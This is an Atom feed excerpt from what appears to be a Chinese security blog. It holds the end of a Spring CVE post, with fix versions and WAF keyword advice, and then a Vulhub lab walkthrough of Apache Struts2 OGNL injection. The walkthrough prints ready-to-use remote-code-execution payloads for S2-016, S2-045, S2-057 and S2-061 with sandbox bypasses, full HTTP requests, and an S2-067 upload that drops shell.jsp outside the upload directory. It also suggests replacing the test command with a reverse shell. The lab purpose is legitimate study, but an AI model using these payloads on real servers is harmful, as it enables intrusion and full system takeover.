匹配绕过认证</td></tr><tr><td>CVE-2025-41242</td><td>CVE-2025-41242</td><td>URI 解码</td><td>Ghost Bits 路径穿越</td></tr></tbody></table><p><strong>核心本质</strong>：Spring 漏洞家族中，SpEL 表达式注入占据了绝大多数。所有 SpEL 注入的 Payload 都遵循相似的逻辑——调用 <code>Runtime.getRuntime().exec()</code> 执行命令，区别只在于<strong>注入入口</strong>不同（HTTP 头、请求参数、JSON Patch、WebSocket 消息等）。CVE-2022-22965 走的是数据绑定路线，CVE-2025-41242 则是 URI 解码不一致导致的路径穿越，两者都是非常独特且值得深入研究的漏洞。</p></section>
<section><h2>四、修复方案<a href="#四修复方案"><span>#</span></a></h2>

<table><thead><tr><th>漏洞</th><th>修复版本</th><th>临时措施</th></tr></thead><tbody><tr><td>CVE-2016-4977</td><td>Spring Security OAuth 2.0.10+</td><td>升级框架版本</td></tr><tr><td>CVE-2017-4971</td><td>Spring WebFlow 2.4.5+</td><td>升级框架版本</td></tr><tr><td>CVE-2017-8046</td><td>Spring Data REST 2.6.7+ / 3.0 RC3+</td><td>升级框架版本</td></tr><tr><td>CVE-2018-1270</td><td>Spring Messaging 5.0.5+ / 4.3.16+</td><td>升级框架版本</td></tr><tr><td>CVE-2018-1273</td><td>Spring Data Commons 2.0.6+ / 1.13.11+</td><td>升级框架版本</td></tr><tr><td>CVE-2022-22947</td><td>Spring Cloud Gateway 3.1.1+ / 3.0.7+</td><td>禁用或限制 Actuator 端点</td></tr><tr><td>CVE-2022-22963</td><td>Spring Cloud Function 3.2.3+</td><td>升级框架版本</td></tr><tr><td>CVE-2022-22965</td><td>Spring Framework 5.3.18+ / 5.2.20+</td><td>升级 JDK 至 9+ 并更新 Spring</td></tr><tr><td>CVE-2022-22978</td><td>Spring Security 5.5.7+ / 5.6.4+</td><td>升级框架版本</td></tr><tr><td>CVE-2025-41242</td><td>Spring Framework 5.3.44+ / 6.0.30+ / 6.1.22+ / 6.2.10+</td><td>升级框架版本</td></tr></tbody></table><p><strong>通用建议</strong>：</p><ol>
<li>及时升级 Spring 框架及相关组件到最新安全版本</li>
<li>避免将用户输入直接拼接到 SpEL 表达式中</li>
<li>限制 Actuator 端点的对外暴露（生产环境应禁用）</li>
<li>使用 WAF 拦截包含 <code>T(java.lang.Runtime)</code>、<code>ProcessBuilder</code>、<code>getRuntime()</code> 等特征的恶意请求</li>
<li>保持 JDK 版本更新，避免使用存在已知安全问题的旧版本</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulhub/apache-struts2/</id>
      <title type="text">Apache Struts2</title>
      <published>2026-10-06T01:00:00.000Z</published>
      <updated>2026-10-06T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulhub/apache-struts2/"/>
      <summary type="text">全面解析 Struts2 框架的 OGNL 表达式注入漏洞，从 S2-001 到 S2-067 完整复现，涵盖 S2-045（CVE-2017-5638）、S2-057（CVE-2018-11776）、S2-061（CVE-2020-17530）、S2-067（CVE-2024-53677）等核心漏洞的原理分析、利用手法及实战修复方案。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>项目</th><th>详情</th></tr></thead><tbody><tr><td><strong>攻击机</strong></td><td>Kali Linux（IP：192.168.197.10）</td></tr><tr><td><strong>靶机</strong></td><td>Ubuntu Server 24.04（IP：192.168.197.88）</td></tr><tr><td><strong>CVSS 评分</strong></td><td>S2-045: 9.8（严重） / S2-057: 9.8（严重） / S2-061: 9.8（严重）</td></tr><tr><td><strong>典型漏洞编号</strong></td><td>S2-045（CVE-2017-5638）/ S2-057（CVE-2018-11776）/ S2-061（CVE-2020-17530）/ S2-066（CVE-2023-50164）/ S2-067（CVE-2024-53677）</td></tr><tr><td><strong>影响组件</strong></td><td>Apache Struts2 2.0.0 ~ 6.3.0（各漏洞影响版本不同）</td></tr><tr><td><strong>漏洞类型</strong></td><td>OGNL 表达式注入 → 远程代码执行（RCE）/ 路径遍历</td></tr><tr><td><strong>利用条件</strong></td><td>使用漏洞版 Struts2 + 用户可控的 OGNL 表达式输入点</td></tr><tr><td><strong>核心原理</strong></td><td><code>%{...}</code> 或 <code>${...}</code> 表达式未安全过滤，导致 OGNL 解析器执行恶意代码</td></tr></tbody></table>
<section><h2>一、漏洞原理<a href="#一漏洞原理"><span>#</span></a></h2><section><h3>3.1 漏洞原理<a href="#31-漏洞原理"><span>#</span></a></h3><p>Apache Struts2 漏洞的本质，源于其核心的 <strong>OGNL</strong>（Object-Graph Navigation Language，对象图导航语言）表达式注入。</p><p>OGNL 是一种功能强大的表达式语言，其设计的初衷，是为了在无法直接编写 Java 代码的地方（如配置文件、JSP页面）执行 Java 代码或访问对象数据。Struts2 框架使用 OGNL 作为默认的表达式语言来处理数据传递和视图渲染。</p><p>漏洞的根源在于，Struts2 在某些场景下会对用户输入（例如 URL 参数、请求头、标签属性）进行 OGNL 表达式解析。当 Struts2 在处理过程中，使用 %{…} 或 ${…} 包裹用户输入并交由 OGNL 引擎解析时，若未进行严格的安全过滤，攻击者就可以构造恶意的 OGNL 表达式，通过用户可控的输入点注入到服务器端，由 OGNL 引擎执行。</p><p>由于 OGNL 能够直接调用 Java 对象的方法和属性，一个成功的注入通常会导致远程代码执行（RCE），攻击者可以在目标服务器上执行任意系统命令。不过，为了限制 OGNL 的权限，Struts2 引入了 OGNL 沙盒（Sandbox） 机制。沙盒通过黑名单等方式，限制 OGNL 表达式能够访问和调用的 Java 类及方法。因此，一个完整的 Struts2 漏洞利用，通常需要包含沙盒绕过（Sandbox Bypass） 技术，这是许多 Payload 看起来非常复杂的原因。</p></section><section><h3>3.2 题目列表<a href="#32-题目列表"><span>#</span></a></h3>

<table><thead><tr><th>漏洞编号</th><th>Vulhub 目录</th><th>说明</th></tr></thead><tbody><tr><td><strong>S2-001</strong></td><td><code>struts2/s2-001</code></td><td><strong>CVE-2007-4556</strong>。当表单验证失败时，后端会对用户提交的参数执行 OGNL 表达式解析。</td></tr><tr><td><strong>S2-005</strong></td><td><code>struts2/s2-005</code></td><td><strong>CVE-2010-1870</strong>。S2-003 漏洞的绕过方式，通过 <code>redirect:</code> 前缀注入 OGNL 表达式。</td></tr><tr><td><strong>S2-007</strong></td><td><code>struts2/s2-007</code></td><td>当类型验证转换出错时，服务器会将用户提交的表单值拼接并执行 OGNL 表达式解析，造成注入。</td></tr><tr><td><strong>S2-008</strong></td><td><code>struts2/s2-008</code></td><td>漏洞点位于 <code>devmode</code> 模式下的调试接口，攻击者可通过特定参数执行 OGNL 表达式。</td></tr><tr><td><strong>S2-009</strong></td><td><code>struts2/s2-009</code></td><td>参数值作为 OGNL 表达式被执行，导致了远程代码执行。</td></tr><tr><td><strong>S2-012</strong></td><td><code>struts2/s2-012</code></td><td><strong>CVE-2013-1965</strong>。当使用重定向结果类型且参数用户可控时，可导致 OGNL 表达式二次解析并执行。</td></tr><tr><td><strong>S2-013</strong></td><td><code>struts2/s2-013</code></td><td><strong>CVE-2013-1966</strong>。<code>s:a</code> 和 <code>s:url</code> 标签的 <code>includeParams</code> 属性值可被攻击者利用，导致 OGNL 表达式执行。</td></tr><tr><td><strong>S2-015</strong></td><td><code>struts2/s2-015</code></td><td><strong>CVE-2013-2135 / CVE-2013-2134</strong>。通配符映射的 Action 名称作为 OGNL 表达式被执行。</td></tr><tr><td><strong>S2-016</strong></td><td><code>struts2/s2-016</code></td><td>在 <code>redirect</code> 和 <code>redirectAction</code> 结果类型中，参数名可被当作 OGNL 表达式解析。</td></tr><tr><td><strong>S2-032</strong></td><td><code>struts2/s2-032</code></td><td><strong>CVE-2016-3081</strong>。可通过 <code>method:</code> 前缀调用 <code>DynamicMethodInvocation</code> 执行 OGNL 表达式。</td></tr><tr><td><strong>S2-045</strong></td><td><code>struts2/s2-045</code></td><td><strong>CVE-2017-5638</strong>。<strong>经典漏洞</strong>。通过构造恶意的 <code>Content-Type</code> 请求头注入 OGNL 表达式。</td></tr><tr><td><strong>S2-046</strong></td><td><code>struts2/s2-046</code></td><td><strong>CVE-2017-5638</strong> 的另一种利用方式，通过畸形的 <code>Content-Disposition</code> 请求头触发。</td></tr><tr><td><strong>S2-048</strong></td><td><code>struts2/s2-048</code></td><td><strong>CVE-2017-9791</strong>。在 <code>struts2-struts1-plugin</code> 插件中，<code>ActionMessage</code> 接收的用户输入可被 OGNL 解析。</td></tr><tr><td><strong>S2-052</strong></td><td><code>struts2/s2-052</code></td><td><strong>CVE-2017-9805</strong>。REST 插件的 XStream 反序列化漏洞，可导致远程代码执行。</td></tr><tr><td><strong>S2-053</strong></td><td><code>struts2/s2-053</code></td><td><strong>CVE-2017-12611</strong>。Freemarker 标签中 <code>id</code> 属性值可被 OGNL 表达式解析。</td></tr><tr><td><strong>S2-057</strong></td><td><code>struts2/s2-057</code></td><td><strong>CVE-2018-11776</strong>。当 <code>alwaysSelectFullNamespace</code> 为 <code>true</code> 时，可通过 URL 路径中的 <code>namespace</code> 注入 OGNL 表达式。</td></tr><tr><td><strong>S2-059</strong></td><td><code>struts2/s2-059</code></td><td><strong>CVE-2019-0230</strong>。标签属性值使用了 <code>%{...}</code> 且用户可控时，可造成 OGNL 表达式执行。</td></tr><tr><td><strong>S2-061</strong></td><td><code>struts2/s2-061</code></td><td><strong>CVE-2020-17530</strong>。S2-059 的沙盒绕过，利用相同的触发点执行恶意 OGNL 表达式。</td></tr><tr><td><strong>S2-066</strong></td><td><code>struts2/s2-066</code></td><td><strong>CVE-2023-50164</strong>。文件上传逻辑缺陷导致的路径遍历漏洞。</td></tr><tr><td><strong>S2-067</strong></td><td><code>struts2/s2-067</code></td><td><strong>CVE-2024-53677</strong>。最新的文件上传路径遍历漏洞。</td></tr></tbody></table><p><strong>建议的解题步骤：</strong></p><ol>
<li>先打 S2-016：用最简单的方式理解 OGNL 注入流程，不要管沙盒。</li>
<li>再打 S2-045：掌握 Content-Type 注入的经典姿势。</li>
<li>然后 S2-057：理解 namespace 注入的不同思路。</li>
<li>接着 S2-061：看沙盒是如何被绕过的。</li>
<li>最后 S2-067：换个口味，体验文件上传漏洞。</li>
</ol></section></section>
<section><h2>二、漏洞复现<a href="#二漏洞复现"><span>#</span></a></h2><section><h3>方式一：S2-016（URL 参数注入）<a href="#方式一s2-016url-参数注入"><span>#</span></a></h3><p>S2-016 的 Payload 相对简洁，适合刚开始理解 OGNL 注入原理。</p><p><strong>① 原始 Payload（未编码）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id"),#b=new java.io.InputStreamReader(#a.getInputStream()),#c=new java.io.BufferedReader(#b),#d=#c.readLine(),#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对于上面的payload解释如下：</p><p>整体结构为：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/index.action?redirect:${ ... 这里是一大串 OGNL 表达式 ... }</span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>部分</th><th>含义</th></tr></thead><tbody><tr><td><code>/index.action</code></td><td>Struts2 的 Action 请求路径</td></tr><tr><td><code>?redirect:</code></td><td><strong>漏洞触发点</strong>。Struts2 的 redirect 结果类型会把冒号后面的内容当作 OGNL 表达式解析</td></tr><tr><td><code>${...}</code></td><td>OGNL 表达式的标准语法，${} 内的内容会被 OGNL 引擎执行</td></tr></tbody></table><p>OGNL 表达式逐句拆解：</p><p>① 关闭方法执行保护</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#context["xwork.MethodAccessor.denyMethodExecution"]=false</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>Struts2默认禁止在OGNL中调用任意方法。这行把它关掉，为后续调用Runtime.exec()铺路。</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>② 获取 allowStaticMethodAccess 字段</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>#_memberAccess是OGNL的成员访问控制器。这行用反射拿到它里面的allowStaticMethodAccess字段（默认是false，禁止调用静态方法）。</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>③ 绕过私有字段限制并开启静态方法</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>setAccessible(true)：让私有字段可以被修改</span></div></div><div><div><div>2</div></div><div><span>set(#_memberAccess,true)：把allowStaticMethodAccess改成true，允许调用静态方法（比如 Runtime.getRuntime()）</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>#f.setAccessible(true)</span></div></div><div><div><div>5</div></div><div><span>#f.set(#_memberAccess,true)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>④ 执行系统命令</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>@java.lang.Runtime@getRuntime()：OGNL调用静态方法的标准语法</span></div></div><div><div><div>2</div></div><div><span>.exec("id")：执行系统命令id，结果保存在#a中</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>#a=@java.lang.Runtime@getRuntime().exec("id")</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⑤ 读取命令输出</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>把命令的输出流包装成BufferedReader，然后读取第一行结果，存入#d。</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>#b=new java.io.InputStreamReader(#a.getInputStream())</span></div></div><div><div><div>4</div></div><div><span>#c=new java.io.BufferedReader(#b)</span></div></div><div><div><div>5</div></div><div><span>#d=#c.readLine()</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⑥ 获取 HTTP 响应对象并回显</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>从OGNL上下文中取出HttpServletResponse对象</span></div></div><div><div><div>2</div></div><div><span>把命令执行结果#d写入HTTP响应</span></div></div><div><div><div>3</div></div><div><span>刷新并关闭输出流</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")</span></div></div><div><div><div>6</div></div><div><span>#matt.getWriter().println(#d)</span></div></div><div><div><div>7</div></div><div><span>#matt.getWriter().flush()</span></div></div><div><div><div>8</div></div><div><span>#matt.getWriter().close()</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一句话总结，这段 Payload 的核心逻辑是：关闭沙盒限制 → 开启静态方法调用 → 执行 id 命令 → 把结果回显到浏览器。</p><p>因此我们可以把 exec(“id”) 里的 id 换成任意命令（如 whoami、ls、cat /etc/passwd），甚至换成反弹 Shell 命令，实现更进一步的利用。</p><p><strong>② URL 编码后的 Payload</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec(%22id%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>为什么需要 URL 编码？</p><p>原始Payload里有大量特殊字符，比如 <code>#</code>、<code>{</code>、<code>}</code>、<code>$</code>、<code>[</code>、<code>]</code>、<code>"</code>。</p><ul>
<li><strong><code>#</code></strong>：在 URL 中会被浏览器当作锚点（fragment），<code>#</code> 后面的内容根本不会发送给服务器。</li>
<li><strong><code>{}</code>、<code>$</code>、<code>"</code></strong> 等：在 URL 传输过程中也可能被截断或转义。</li>
</ul><p>所以实际发送时，必须对整个 Payload 做 URL 编码：</p>

<table><thead><tr><th>字符</th><th>编码</th></tr></thead><tbody><tr><td><code>#</code></td><td><code>%23</code></td></tr><tr><td><code>{</code></td><td><code>%7B</code></td></tr><tr><td><code>}</code></td><td><code>%7D</code></td></tr><tr><td><code>$</code></td><td><code>%24</code></td></tr><tr><td><code>[</code></td><td><code>%5B</code></td></tr><tr><td><code>]</code></td><td><code>%5D</code></td></tr><tr><td><code>"</code></td><td><code>%22</code></td></tr><tr><td>空格</td><td><code>%20</code> 或 <code>+</code></td></tr></tbody></table><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260910105538.ExaeAGh-_ZxWJ7Y.webp" /></p></section><section><h3>方式二：S2-045（Content-Type 注入）<a href="#方式二s2-045content-type-注入"><span>#</span></a></h3><p>S2-045 的漏洞点在于 Content-Type 请求头。Struts2 在处理 multipart 请求时，会对 Content-Type 进行 OGNL 解析，且未做充分过滤。</p><p><strong>① 验证漏洞是否存在</strong></p><p>抓包，将正常请求的 Content-Type 替换为以下 Payload（执行数学计算验证）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo $((233*233))').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果返回 54289（233×233 的结果），说明漏洞存在。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006105917.-PLRwQmY_1TX7Dx.webp" />
<strong>② 执行任意命令</strong></p><p>将 Payload 中的 <code>#cmd='echo $((233*233))'</code> 替换为 <code>#cmd='id'</code> 即可执行系统命令并回显。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006110451.BQVWb0Zy_Z1mxfgi.webp" /></p></section><section><h3>方式三：S2-057（Namespace 注入）<a href="#方式三s2-057namespace-注入"><span>#</span></a></h3><p>S2-057 (CVE-2018-11776) 的触发点在于 URL 路径中的 namespace（命名空间） 。当 Struts2 的配置满足特定条件时，用户可控的 namespace 值会被当作 OGNL 表达式解析执行。</p><p><strong>漏洞触发条件：</strong></p><p>S2-057 的利用窗口非常特殊，需要同时满足以下两个配置条件。</p><ol>
<li>alwaysSelectFullNamespace 为 true：框架会优先从 URI 中提取完整的 namespace，而不是仅依赖 action 元素上声明的值。</li>
<li>Action 未声明 namespace，或使用了通配符（如 *）：只有当 namespace 未设置或为通配符时，框架才会从 URI 中动态解析，给攻击者留下注入入口。</li>
</ol><p><strong>影响版本</strong>：Struts 2.3.34 及以下、Struts 2.5.16 及以下。</p><p><strong>① 验证漏洞是否存在</strong></p><p>启动 Vulhub 环境后，在 URL 路径中注入一个简单的 OGNL 表达式进行验证：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/$%7B233*233%7D/actionChain1.action</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li><code>$%7B233*233%7D</code> 是 <code>${233*233}</code> 的 URL 编码形式。</li>
<li>如果漏洞存在，计算结果 <code>54289</code> 会出现在响应头的 <code>Location</code> 字段或 URL 中。</li>
</ul><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006160609.neaUfkGs_1eA19D.webp" />
<strong>② 命令执行（回显）</strong></p><p>将 ${233*233} 替换为完整的命令执行 OGNL 表达式（需进行 URL 编码）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>URL 编码后的完整 Payload：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/struts2-showcase/$%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>命令执行结果会回显在响应中。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006160718.D4zrSAZV_1R5Bwl.webp" /></p></section><section><h3>方式四：S2-061（标签属性注入）<a href="#方式四s2-061标签属性注入"><span>#</span></a></h3><p>S2-061 (CVE-2020-17530) 是 S2-059 的沙盒绕过。触发点在于 Struts2 标签的属性值（如 id）被使用 %{…} 包裹且用户可控时，OGNL 表达式会被二次解析执行。</p><p><strong>命令回显 Payload ：</strong></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /index.action </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Accept-Encoding</span><span>:</span><span> </span><span>gzip, deflate</span></div></div><div><div><div>4</div></div><div><span>Accept</span><span>:</span><span> </span><span>*/*</span></div></div><div><div><div>5</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>en</span></div></div><div><div><div>6</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36</span></div></div><div><div><div>7</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>8</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF</span></div></div><div><div><div>9</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>827</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>------WebKitFormBoundaryl7d1B1aGsV2wcZwF</span></div></div><div><div><div>12</div></div><div><span>Content-Disposition</span><span>:</span><span> </span><span>form-data; name="id"</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>%{</span><span>(#instancemanager=#application[</span><span>"org.apache.tomcat.InstanceManager"</span><span>]).(#stack=#attr[</span><span>"com.opensymphony.xwork2.util.ValueStack.ValueStack"</span><span>]).(#bean=#instancemanager.newInstance(</span><span>"org.apache.commons.collections.BeanMap"</span><span>)).(#bean.setBean(#stack)).(#context=#bean.get(</span><span>"context"</span><span>)).(#bean.setBean(#context)).(#macc=#bean.get(</span><span>"memberAccess"</span><span>)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(</span><span>"java.util.HashSet"</span><span>)).(#bean.put(</span><span>"excludedClasses"</span><span>,#emptyset)).(#bean.put(</span><span>"excludedPackageNames"</span><span>,#emptyset)).(#arglist=#instancemanager.newInstance(</span><span>"java.util.ArrayList"</span><span>)).(#arglist.add(</span><span>"id"</span><span>)).(#execute=#instancemanager.newInstance(</span><span>"freemarker.template.utility.Execute"</span><span>)).(#execute.exec(#arglist))</span><span>}</span></div></div><div><div><div>15</div></div><div><span>------WebKitFormBoundaryl</span><span>7</span><span>d</span><span>1</span><span>B</span><span>1</span><span>aGsV</span><span>2</span><span>wcZwF--</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006162443.BIbOnPmP_dEirz.webp" /></p></section><section><h3>方式五：S2-067（文件上传路径穿越）<a href="#方式五s2-067文件上传路径穿越"><span>#</span></a></h3><p>在 Struts2 中，所有参数在传递时，参数的键名都会进行 OGNL 表达式的计算。这个特性历史上曾导致多次通过 OGNL 表达式注入实现远程命令执行的漏洞。虽然 Struts2 已经实现了严格的参数键名验证来防止 RCE 漏洞，但表达式计算仍然会发生。S2-067 就是利用这个表达式计算机制，再次覆盖上传文件时的文件名，最终导致目录穿越问题。</p><p><strong>漏洞复现</strong>：</p><p>环境启动后，访问 <code>http://192.168.197.88:8080</code> 可以看到一个简单的文件上传页面。</p><p>在复现 S2-067 之前，建议先阅读 S2-066 的漏洞原理。在此环境中，已无法使用与 S2-066 相同的 Payload，因为大小写敏感性问题已被修复。我们需要将 OGNL 表达式 <code>top.fileFileName</code> 作为文件名参数键名的一部分，使文件再次被上传到受限上传目录之外。</p><p>构造以下 POST 请求：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /index.action </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Accept-Encoding</span><span>:</span><span> </span><span>gzip, deflate, br</span></div></div><div><div><div>4</div></div><div><span>Accept</span><span>:</span><span> </span><span>*/*</span></div></div><div><div><div>5</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>en-US;q=0.9,en;q=0.8</span></div></div><div><div><div>6</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36</span></div></div><div><div><div>7</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>8</div></div><div><span>Cache-Control</span><span>:</span><span> </span><span>max-age=0</span></div></div><div><div><div>9</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF</span></div></div><div><div><div>10</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>335</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>------WebKitFormBoundaryl6ZFZPznNSPZOFJF</span></div></div><div><div><div>13</div></div><div><span>Content-Disposition</span><span>:</span><span> </span><span>form-data; name="file"; filename="shell.jsp"</span></div></div><div><div><div>14</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>text/plain</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>&lt;%</span></div></div><div><div><div>17</div></div><div><span>  </span><span>out</span><span>.</span><span>println</span><span>(</span><span>"hello world"</span><span>);</span></div></div><div><div><div>18</div></div><div><span>%&gt;</span></div></div><div><div><div>19</div></div><div><span>------WebKitFormBoundaryl6ZFZPznNSPZOFJF</span></div></div><div><div><div>20</div></div><div><span>Content-Disposition: form-data; name="top.fileFileName"</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>../shell.jsp</span></div></div><div><div><div>23</div></div><div><span>------WebKitFormBoundaryl6ZFZPznNSPZOFJF--</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>关键要素说明</strong>：</p><ul>
<li>与 S2-066 利用大小写敏感性不同，这里使用了参数键名中的 OGNL 表达式计算。</li>
<li>参数键名 <code>top.fileFileName</code> 会被作为 OGNL 表达式进行计算，该表达式指向上传文件的文件名属性。</li>
<li>通过将值设置为 <code>../shell.jsp</code>，实现了路径穿越，覆盖了原本的上传目录限制。</li>
<li>最终 JSP 文件被上传到受限目录之外，并可通过 <code>http://192.168.197.88:8080/shell.jsp</code> 访问执行。</li>
</ul><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006170505.OCIgpBe1_Z208IYq.webp" /></p><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006170550.CPfST2aW_Z8fv4u.webp" />
